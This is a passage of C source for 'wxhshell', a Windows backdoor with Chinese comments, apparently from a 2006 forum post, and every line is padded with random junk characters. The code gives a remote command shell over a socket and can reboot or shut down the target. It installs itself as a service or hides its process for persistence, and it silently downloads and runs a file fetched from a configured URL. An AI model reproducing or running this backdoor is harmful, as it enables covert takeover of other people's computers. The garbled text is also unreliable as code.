  6I"C~&dt  
  // 帮助 f:S}h-AL&  
  case '?': { )x)gHY8;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TFYw  
    break; S3QaYq"v  
  } RTZ:U@  
  // 安装 Y4`QK+~fH  
  case 'i': { PaNeu1cO  
    if(Install()) W5 |j1He&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IOX:yxj  
    else 3Qa?\C&4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (NPxab8e*  
    break; Xty# vI  
    } ERp{gB2U?  
  // 卸载 %TDXF_.[  
  case 'r': { ]b> pI;  
    if(Uninstall()) *N`;I@Q"[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;KL9oV!<f  
    else &lUNy L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^B|YO8.v  
    break; ] ;&"1A  
    } >GmN~"iJ  
  // 显示 wxhshell 所在路径 &/iFnYVhy  
  case 'p': { svqvG7  
    char svExeFile[MAX_PATH]; k},>^qE  
    strcpy(svExeFile,"\n\r"); e+l\\9v  
      strcat(svExeFile,ExeFile); Ajg\aof0{  
        send(wsh,svExeFile,strlen(svExeFile),0); JA< :K0  
    break; H}B2A"  
    } `2,a(Sk#  
  // 重启 oE6|Zw  
  case 'b': { }s(C^0x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5tMh/]IeS  
    if(Boot(REBOOT)) z,avQR&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X% X$Y6  
    else { GZ"&L?ti  
    closesocket(wsh); 1 #q^uqO0  
    ExitThread(0); EavX8r  
    } @UV{:]f~e  
    break; +2Z#M  
    } ><K!~pst}  
  // 关机 TW2Z=ks=  
  case 'd': { g}m+f] |  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |Q5+l.%  
    if(Boot(SHUTDOWN)) j %H`0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VXwPdMy*L  
    else { rw]yKH  
    closesocket(wsh); eG4>d^`c  
    ExitThread(0); vf N#NY6  
    } =LK}9ViH  
    break; kZv*rWAm  
    } -;U3w.-  
  // 获取shell JjQVzkE  
  case 's': { 1 }nm2h1 I  
    CmdShell(wsh); pC^2Rzf  
    closesocket(wsh); B=dseeG[To  
    ExitThread(0); hiN/S|JN8y  
    break; :3 y_mf>  
  } C\A49q  
  // 退出 Cg3ODfe  
  case 'x': { p[-{]!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OX^3Q:Z=  
    CloseIt(wsh); ul=7>";=|  
    break; o:9$UV[  
    } 1`QsW&9=b  
  // 离开 tr=@+WHp  
  case 'q': { PQ3h\CL1n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fI]bzv;  
    closesocket(wsh); n_9x"m$  
    WSACleanup(); S(w\ZC  
    exit(1); -TS? fne)  
    break; ;wgFr.#hp@  
        } H(&Z:{L  
  } [O 1|75  
  } Jn#K0( FQ  
u w"*zBxl  
  // 提示信息 Ia7D F'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OD|1c6+X  
} jI0]LD1k  
  } bjzx!OCpV  
rN#\AN  
  return; 1.0J2nZpt  
} v|&s4x?D  
W_}/O'l{  
// shell模块句柄 gQ+9xTd  
int CmdShell(SOCKET sock) t 7^D-l  
{ ~6HDW  
STARTUPINFO si; JO}?.4B  
ZeroMemory(&si,sizeof(si)); Rsn^eR6^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _-TOeP8#94  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A{(T'/~"  
PROCESS_INFORMATION ProcessInfo; )E-E0Hl>7  
char cmdline[]="cmd"; |_nC6 ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (}"S) #C  
  return 0; ^1VbH3M  
} [pR)@$"k'  
5#!ogKQ(i  
// 自身启动模式 HfZtL  
int StartFromService(void) Kj!Y K~~  
{ F`srE6H  
typedef struct MD4\QNUa)*  
{ [+gzdLad  
  DWORD ExitStatus; rKp1%S1  
  DWORD PebBaseAddress; :o$@F-$k  
  DWORD AffinityMask; N&x:K+Zm .  
  DWORD BasePriority; .YC;zn^  
  ULONG UniqueProcessId; "mt p0  
  ULONG InheritedFromUniqueProcessId; HlRAD|]\  
}   PROCESS_BASIC_INFORMATION; {MxnIg7'  
:x+ig5  
PROCNTQSIP NtQueryInformationProcess; =qX*]  
:l`i4kx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {+\'bIV[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L$}g3{  
A$<>JVv  
  HANDLE             hProcess; lM+ xU;  
  PROCESS_BASIC_INFORMATION pbi; Y }/c N\  
r{Z[xWIX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eE9|F/-L  
  if(NULL == hInst ) return 0; -5xCQJ[  
/x/4NeD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bP03G =`6w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n$ dw<y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zp#:EZ  
]738Z/)^  
  if (!NtQueryInformationProcess) return 0; 3KT_AJ4}  
5& *zY)UL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !EM#m@kZ{  
  if(!hProcess) return 0; 8T7f[?  
RpAiU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; - `4Ty*K  
 mmcdtVe  
  CloseHandle(hProcess); y7La_FPrl  
hb<k]-'!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >[8#hSk  
if(hProcess==NULL) return 0; yl]UUBcQ  
e2bLkb3c  
HMODULE hMod; .?Auh2nr  
char procName[255]; &D)2KD"N  
unsigned long cbNeeded; J[6VBM.Y  
(JU_8j!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5y}BCY2=/  
f,JX"  
  CloseHandle(hProcess); -)6;0  
hMWo\qM  
if(strstr(procName,"services")) return 1; // 以服务启动 }U i_ynZ!  
wsI5F&R,  
  return 0; // 注册表启动 ]/[0O+B?  
} sNf +lga0  
>"b[r  
// 主模块 u6pIdt  
int StartWxhshell(LPSTR lpCmdLine) . wmkj  
{ j6}$+!E  
  SOCKET wsl; 8 #Fh>  
BOOL val=TRUE; &\c5!xQ9*  
  int port=0; {Y^c*Iqn  
  struct sockaddr_in door; OiF]_"  
x*J|i4  
  if(wscfg.ws_autoins) Install(); U&s(1~e\  
w_GLC%|7  
port=atoi(lpCmdLine); V>r j$Nc]  
4]]b1^vVj  
if(port<=0) port=wscfg.ws_port; 2$3kKY6$e  
.c03}RTC^  
  WSADATA data; '(XW$D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q8 4t9b  
VT Vm7l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {n6\g]p3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OFQ{9  
  door.sin_family = AF_INET; TRo4I{L6S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @E YK(QS-  
  door.sin_port = htons(port); Xa)7`bp<  
Z<I[vp6{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K: 4P ;ApI  
closesocket(wsl); OK.-]()!  
return 1; 8>m1UONr  
} {aT92-D3  
O8iu+}]/6  
  if(listen(wsl,2) == INVALID_SOCKET) { jXtLo,km  
closesocket(wsl); y6bjJ}  
return 1; GgT=t)}wu  
} A=W5W5l(>  
  Wxhshell(wsl); z}D#WWSxf  
  WSACleanup(); {;\%!I  
WVinP(#nfM  
return 0; S7Qen6lm  
FU'^n6[<B  
} ]gEu.Nth`  
rpx 0|{m  
// 以NT服务方式启动 *TJ<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O.dux5lfBd  
{ {rs6"X^  
DWORD   status = 0; y{:]sHyG  
  DWORD   specificError = 0xfffffff; #DrZ`Aq  
t;oT {Hge  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v]l&dgoT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xu`d`!Tx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C5BzWgK  
  serviceStatus.dwWin32ExitCode     = 0; Hxj'38Y  
  serviceStatus.dwServiceSpecificExitCode = 0; fp,1qzU[k  
  serviceStatus.dwCheckPoint       = 0; >aX:gN  
  serviceStatus.dwWaitHint       = 0; 3zk:59  
,HQ1C8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5?D1][  
  if (hServiceStatusHandle==0) return; $,p.=j;P  
C#ZmgR  
status = GetLastError(); 3we.*\2$  
  if (status!=NO_ERROR) XB6N[E  
{ {hlT` K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cw*(L5b u  
    serviceStatus.dwCheckPoint       = 0; &n}8Uw0440  
    serviceStatus.dwWaitHint       = 0; S(@*3]!q  
    serviceStatus.dwWin32ExitCode     = status; !pG+Ak?  
    serviceStatus.dwServiceSpecificExitCode = specificError; /e;e\k_}'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2nG{>,#C:O  
    return; K<Yn_G  
  } L#83f]vG  
hWl""66+5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B]&Lh~Im  
  serviceStatus.dwCheckPoint       = 0; \VoB=Ac&  
  serviceStatus.dwWaitHint       = 0; IwZZewb-a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); azz#@f1  
} _|Y.!ZRYP  
Q1P,=T@  
// 处理NT服务事件,比如:启动、停止 7I@9v=xV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KZ367&>b7  
{ I,?Fqg'sq  
switch(fdwControl) l5":[C$  
{ Hsd|ka$x>  
case SERVICE_CONTROL_STOP: 9Bbm7Gd  
  serviceStatus.dwWin32ExitCode = 0; E.5*Jr=J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x= vE&9_u  
  serviceStatus.dwCheckPoint   = 0; F&nMI:h7  
  serviceStatus.dwWaitHint     = 0; N3S,33 8s  
  { %XDip]+rb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #`YxoY`  
  } / h 2*$  
  return; X r  
case SERVICE_CONTROL_PAUSE: OuYE-x2]x"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c_D,MW\IC  
  break; :$X4#k<  
case SERVICE_CONTROL_CONTINUE: mcP{-oJ0W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5VoOJ_hq  
  break; Os]!B2j14  
case SERVICE_CONTROL_INTERROGATE: {Q#Fen ;y|  
  break; ctwhfS|Y0  
}; goBKr: &]w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %~8](]p  
} V5(tf'  
R~x;X3  
// 标准应用程序主函数 +r#=n7 t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J1u@A$4l?  
{ lO5gkOJ?  
TS~Y\Cp  
// 获取操作系统版本 F] dd>#  
OsIsNt=GetOsVer(); 5,=B1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8g2-8pa{  
; ei<Q =[  
  // 从命令行安装 >X\s[d&(  
  if(strpbrk(lpCmdLine,"iI")) Install(); |=h)efo}  
@88z{  
  // 下载执行文件 E=tx.h4xG~  
if(wscfg.ws_downexe) { U d=gdsL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F~d7;x =g  
  WinExec(wscfg.ws_filenam,SW_HIDE); `)( <g  
} X~Rk ,d3  
Zc' >}X[G  
if(!OsIsNt) { 1X!f!0=g+  
// 如果时win9x,隐藏进程并且设置为注册表启动 w'zO(6 `  
HideProc(); +(h6{e%)  
StartWxhshell(lpCmdLine); -<}>YtB Q  
} }:c,S O!  
else  >Wr   
  if(StartFromService()) 65`'Upu  
  // 以服务方式启动 uX5 --o=C  
  StartServiceCtrlDispatcher(DispatchTable); {p lmFV  
else (k)gZD9~{?  
  // 普通方式启动 )(|0KarF  
  StartWxhshell(lpCmdLine); >!v,`O1  
WNlSve)]ie  
return 0; dc@wf;o  
}
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只看该作者 1 发表于: 2006-10-10
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